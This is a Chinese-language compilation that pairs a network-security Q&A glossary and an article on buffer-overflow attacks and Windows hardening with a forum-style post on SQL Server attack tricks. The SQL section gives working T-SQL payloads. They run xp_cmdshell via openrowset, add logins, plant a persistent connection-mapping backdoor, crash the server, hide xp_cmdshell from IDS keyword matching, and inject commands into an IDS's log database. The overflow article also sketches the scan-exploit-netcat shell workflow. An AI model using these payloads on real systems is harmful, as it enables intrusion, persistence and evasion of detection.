问:什么是网络安全?
答:网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不因偶然的或者恶意的原因而遭到破坏、更改、泄露,系统可以连续可靠正常地运行,网络服务不被中断。
问:什么是计算机病毒?
答:计算机病毒(Computer Virus)是指编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码。
问:什么是木马?
答:木马是一种带有恶意性质的远程控制软件。木马一般分为客户端(client)和服务器端(server)。客户端就是本地使用的各种命令的控制台,服务器端则是要给别人运行,只有运行过服务器端的计算机才能够完全受控。木马不会像病毒那样去感染文件。
问:什么是防火墙?它是如何确保网络安全的?
答:使用防火墙(Firewall)是一种确保网络安全的方法。防火墙是指设置在不同网络(如可信任的企业内部网和不可信的公共网)或网络安全域之间的一系列部件的组合。它是不同网络或网络安全域之间信息的惟一出入口,能根据企业的安全政策控制(允许、拒绝、监测)出入网络的信息流,且本身具有较强的抗攻击能力。它是提供信息安全服务,实现网络和信息安全的基础设施。
问:什么是后门?为什么会存在后门?
答:后门(Back Door)是指一种绕过安全性控制而获取对程序或系统访问权的方法。在软件的开发阶段,程序员常会在软件内创建后门以便可以修改程序中的缺陷。如果后门被其他人知道,或是在发布软件之前没有删除,那么它就成了安全隐患。
问:什么叫入侵检测??
答:入侵检测是防火墙的合理补充,帮助系统对付网络攻击,扩展系统管理员的安全管理能力(包括安全审计、监视、进攻识别和响应),提高信息安全基础结构的完整性。它从计算机网络系统中的若干关键点收集信息,并分析这些信息,检查网络中是否有违反安全策略的行为和遭到袭击的迹象
问:什么叫数据包监测?它有什么作用?
答:数据包监测可以被认为是一根窃听电话线在计算机网络中的等价物。当某人在“监听”网络时,他们实际上是在阅读和解释网络上传送的数据包。如果你需要在互联网上通过计算机发送一封电子邮件或请求下载一个网页,这些操作都会使数据通过你和数据目的地之间的许多计算机。这些传输信息时经过的计算机都能够看到你发送的数据,而数据包监测工具就允许某人截获数据并且查看它。
问:什么是NIDS?
答:NIDS是Network Intrusion Detection System的缩写,即网络入侵检测系统,主要用于检测Hacker或Cracker通过网络进行的入侵行为。NIDS的运行方式有两种,一种是在目标主机上运行以监测其本身的通信信息,另一种是在一台单独的机器上运行以监测所有网络设备的通信信息,比如Hub、路由器。
问:什么叫SYN包?
答:TCP连接的第一个包,非常小的一种数据包。SYN攻击包括大量此类的包,由于这些包看上去来自实际不存在的站点,因此无法有效进行处理。
问:加密技术是指什么?
答:加密技术是最常用的安全保密手段,利用技术手段把重要的数据变为乱码(加密)传送,到达目的地后再用相同或不同的手段还原(解密)。
加密技术包括两个元素:算法和密钥。算法是将普通的信息或者可以理解的信息与一串数字(密钥)结合,产生不可理解的密文的步骤,密钥是用来对数据进行编码和解密的一种算法。在安全保密中,可通过适当的钥加密技术和管理机制来保证网络的信息通信安全。
问:什么叫蠕虫病毒?
答:蠕虫病毒(Worm)源自第一种在网络上传播的病毒。1988年,22岁的康奈尔大学研究生罗伯特。莫里斯(Robert Morris)通过网络发送了一种专为攻击UNIX系统缺陷、名为“蠕虫”(Worm)的病毒。蠕虫造成了6000个系统瘫痪,估计损失为200万到6000万美元。由于这只蠕虫的诞生,在网上还专门成立了计算机应急小组(CERT)。现在蠕虫病毒家族已经壮大到成千上万种,并且这千万种蠕虫病毒大都出自黑客之手。
问:什么是操作系统型病毒?它有什么危害?
答:这种病毒会用它自己的程序加入操作系统或者取代部分操作系统进行工作,具有很强的破坏力,会导致整个系统瘫痪。而且由于感染了操作系统,这种病毒在运行时,会用自己的程序片断取代操作系统的合法程序模块。根据病毒自身的特点和被替代的操作系统中合法程序模块在操作系统中运行的地位与作用,以及病毒取代操作系统的取代方式等,对操作系统进行破坏。同时,这种病毒对系统中文件的感染性也很强。
问:莫里斯蠕虫是指什么?它有什么特点?
答:它的编写者是美国康乃尔大学一年级研究生罗特。莫里斯。这个程序只有99行,利用了Unix系统中的缺点,用Finger命令查联机用户名单,然后破译用户口令,用Mail系统复制、传播本身的源程序,再编译生成代码。
最初的网络蠕虫设计目的是当网络空闲时,程序就在计算机间“游荡”而不带来任何损害。当有机器负荷过重时,该程序可以从空闲计算机“借取资源”而达到网络的负载平衡。而莫里斯蠕虫不是“借取资源”,而是“耗尽所有资源”。
问:什么是DDoS?它会导致什么后果?
答:DDoS也就是分布式拒绝服务攻击。它使用与普通的拒绝服务攻击同样的方法,但是发起攻击的源是多个。通常攻击者使用下载的工具渗透无保护的主机,当获得该主机的适当的访问权限后,攻击者在主机中安装软件的服务或进程(以下简称代理)。这些代理保持睡眠状态,直到从它们的主控端得到指令,对指定的目标发起拒绝服务攻击。随着危害力极强的黑客工具的广泛传播使用,分布式拒绝服务攻击可以同时对一个目标发起几千个攻击。单个的拒绝服务攻击的威力也许对带宽较宽的站点没有影响,而分布于全球的几千个攻击将会产生致命的后果。
问:局域网内部的ARP攻击是指什么?
答:ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行。
基于ARP协议的这一工作特性,黑客向对方计算机不断发送有欺诈性质的ARP数据包,数据包内包含有与当前设备重复的Mac地址,使对方在回应报文时,由于简单的地址重复错误而导致不能进行正常的网络通信。一般情况下,受到ARP攻击的计算机会出现两种现象:
1.不断弹出“本机的XXX段硬件地址与网络中的XXX段地址冲突”的对话框。
2.计算机不能正常上网,出现网络中断的症状。
因为这种攻击是利用ARP请求报文进行“欺骗”的,所以防火墙会误以为是正常的请求数据包,不予拦截。因此普通的防火墙很难抵挡这种攻击。
问:什么叫欺骗攻击?它有哪些攻击方式?
答:网络欺骗的技术主要有:HONEYPOT和分布式HONEYPOT、欺骗空间技术等。主要方式有:IP欺骗、ARP欺骗、DNS欺骗、Web欺骗、电子邮件欺骗、源路由欺骗(通过指定路由,以假冒身份与其他主机进行合法通信或发送假报文,使受攻击主机出现错误动作)、地址欺骗(包括伪造源地址和伪造中间站点)等。
网络“溢出攻击”攻防录
随着网络普及,大量公开的Shellcode(“溢出”代码)与溢出攻击原理都能在各大安全网站中找到,也由此衍生了一系列安全隐患,很多稍微了解网络安全知识的人都可以利用现成的攻击软件轻易发动溢出攻击获得服务器权限。
1.什么是“溢出攻击”?
“溢出攻击”就像是将很多沙子倒入装满水的容器时,水就会溢出来一样。目前,大多溢出攻击都是针对缓冲区的溢出。当缓冲区溢出时,过剩的信息对电脑内存中原有内容进行完全替换,如未进行备份,你的内容就永远丢失了。
现在网上公布的攻击程序不仅具有破坏文件的功能,一般还会得到系统权限的CMDSHELL(管理命令行),那它又是如何实现的呢?“溢出攻击”在对缓冲区中的文件进行替换的同时,还会执行一些非法程序,从而得到命令行下的管理员权限,之后攻击者再通过命令行建立管理员账号,对电脑进行控制。
2.“溢出攻击”的实现
一般入侵者在网上了解或发现了可以进行溢出攻击的漏洞后,使用缺陷扫描器(如全面扫描的X-SCAN、针对单一漏洞扫描的IIS WEBDAV等工具)找到并确认存在远程溢出漏洞的电脑,接着便使用利用攻击代码编程成功的Exploit(攻击程序)发送Shellcode攻击,确认远程溢出成功后使用NC或TELNET等程序连接被溢出主机的端口从而得到CMDSHELL。
比如前段时间危害特别大的MS05039溢出漏洞,就是先利用MS05039Scan来扫描有漏洞的电脑,然后打开两个命令提示符窗口,一个用来得到CMDSHELL的NC,一个执行溢出攻击程序,当执行攻击程序后,就得到了系统权限的CMDSHELL。
3.如何对溢出攻击进行防护?
说到防护,首先定时更新有效补丁。但如果攻击者用的是尚未发布补丁的攻击程序呢?所以打补丁是有效,但不是惟一的方法。下面就来看看如何手动设置,对溢出攻击进行防御。
第一步:在Windows 2000/2003,可以建立一个用户,如boxer,密码最好用大于8位的数字与字母的混合方式,而且如果觉得还不够强壮,可以在用户的名称前面加上一个$。这样,可以建立一个隐藏账户,入侵时攻击者无法利用“net user boxer password”命令来修改这个用户的密码。另外强调一点,那个用户必须是USER组的。
第二步:对于Windows 2000/2003,建立用户后,打开C:\WINNT\System32(系统安装在C盘),找到cmd.exe,用右键选择“属性”项,在“安全”标签下修改cmd.exe的访问权限,只保留刚刚新建立的boxer用户对cmd.exe的完全控制权限,将其他用户全部删除,尤其是Everyone。之后,找到net.exe文件,按照cmd.exe的方法进行设置,如果在找到net.exe的同时,还发现了net1.exe,也要一同设置一样的权限,完成上述限制后,最基本的防御措施就完成了。
在Windows XP下,cmd.exe的“属性”选项里已经没有了“安全”标签,可以点击“开始→运行”,输入gpedit.msc,打开“组策略”窗口。在组策略中,依次展开“计算机配置→Windows 设置→软件限制策略”,右击后,选择“创建新的策略”。然后,继续展开“软件限制策略→其他规则”项,右击该项,选择“新键散列规则”。在弹出窗口中点击“浏览”按钮,选择C:\WINNT\System32下的cmd.exe文件,设置“安全级别”为“不允许的”。对net.exe文件执行同样的操作,进行限制。
Windows XP中经过设置后任何用户将不能调用cmd.exe和net.exe命令了。此方法只适合在溢出程序被发布后没有相关的补丁情况下进行应急防护,如果用户不需要用到cmd.exe及net.exe命令。推荐此利用方式禁止运行。
另外还有一种情况就是一些攻击者可能通过其他途径得到用户电脑上某些软件的操控权限,如FTP服务、WEB服务等,在这种情况下很可能出现利用Windows系统本身的TFTP服务进行木马上传或本地溢出程序。所以,最后再来讲解一下防止攻击者利用TFTP:进入C:\WINNT\System32\Drivers\Etc,用“记事本”打开文件services,把TFTP端口改为0。这样,攻击者就无法通过使用TFTP指令传输溢出程序了。当然,为了更好的安全性,也可以将TFTP.EXE文件,按前面介绍的方法,添加为只能让boxer用户才能使用的命令。
通过上面操作后,一般用户的电脑就能防御大部分针对个人用户的溢出攻击了。
请注意那些容易被忽略的SQL注入技巧
下面我要谈到一些Sqlserver新的Bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别。
1.关于Openrowset和Opendatasource
可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下:
select * from openrowset(''sqloledb'',''myserver'';''sa'';'''',''select * from
table'')
可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。
那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!
select * from openrowset(''sqloledb'',''server'';''sa'';'''',''set fmtonly off
exec master.dbo.xp_cmdshel l ''''dir c:\'''''')
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。
那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作
select * from openrowset(''sqloledb'',''server'';''sa'';'''',''select ''''OK!''''
exec master.dbo.sp_addlogin Hectic'')
这样,命令至少会返回select OK!''的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用
select ''OK!''的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。
2.关于Msdasql两次请求的问题
不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下:
select * from openrowset(''msdasql'',''driver={sql
server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn'',''s
elect * from table1 select * from table2'')
当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死 sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,应该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧。
3.可怕的后门
以前在网上看到有人说在 sqlserver上留后门可以通过添加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令:
select * from openrowset(''sqloledb'',''trusted_connection=yes;data
source=Hectic'',''set fmtonly off exec master..xp_cmdshell ''''dir c:\'''''')
这样在对方的 sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在 sqlserver2000 sqlserver2000SP1上通过!
另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的 sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令:
select * from openrowset
(''msdasql'',''dsn=locaserver;trusted_connection=yes'',''set fmtonly off exec
master..xp_cmdshell ''''dir c:\'''''')
应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql 的方法。
如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行。
4.利用T-sql骗过Ids或攻击Ids
现在的ids已经变得越来越聪明了。有的ids加入了xp_cmdshell sp_addlogin 的监视,但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉。
先说说欺骗Ids
ids既然监视xp_cmdshell关键字,那么我们可以这么做:
declare @a sysname set @a="xp_" "cmdshell" exec @a ''dir c:\''
这个代码相信大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做:
假设这个id=988456
declare @a sysname select @a=name from sysobjects where id=988456
exec @a ''dir c:\''
当然也可以:
declare @a sysname select @a=name from sysobjects where id=988455 1
exec @a ''dir c:\''
这种做法排列组合,ids根本不可能做的到完全监视。同理,sp_addlogin也可以这么做。
再说说攻击Ids
因为ids数据量很大,日至通常备份到常规数据库,比如sql server。
如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sql server 去做,通常程序会这么写:
insert table values (''日至内容'',...)
那么我们想想看,如果用 temp'') exec xp_cmdshell ''dir c:\'' -- 提交后会变成:
insert table values (''日至内容''....''temp'') exec xp_cmdshell ''dir
c:\'' -- '')
这样,xp_cmdshell就可以在ids的数据库运行了。当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成 。因此, 会被提交到sql server,这样你的命令就无法执行了。 唯一的办法就是:
insert/**/table/**/values(''日至内容''....''temp'')/**/exec/**/xp_cmdshell/**/''dir c:\''/**/-- '')
用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行。当然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录,呵呵。
其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/ 。本来asp是select语句,那么用''就可以屏蔽。现在ids用insert语句,那么用'')屏蔽。
好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是query analyzer了。
(DVOL本文转自:中国DV传媒 http://www.dvol.cn)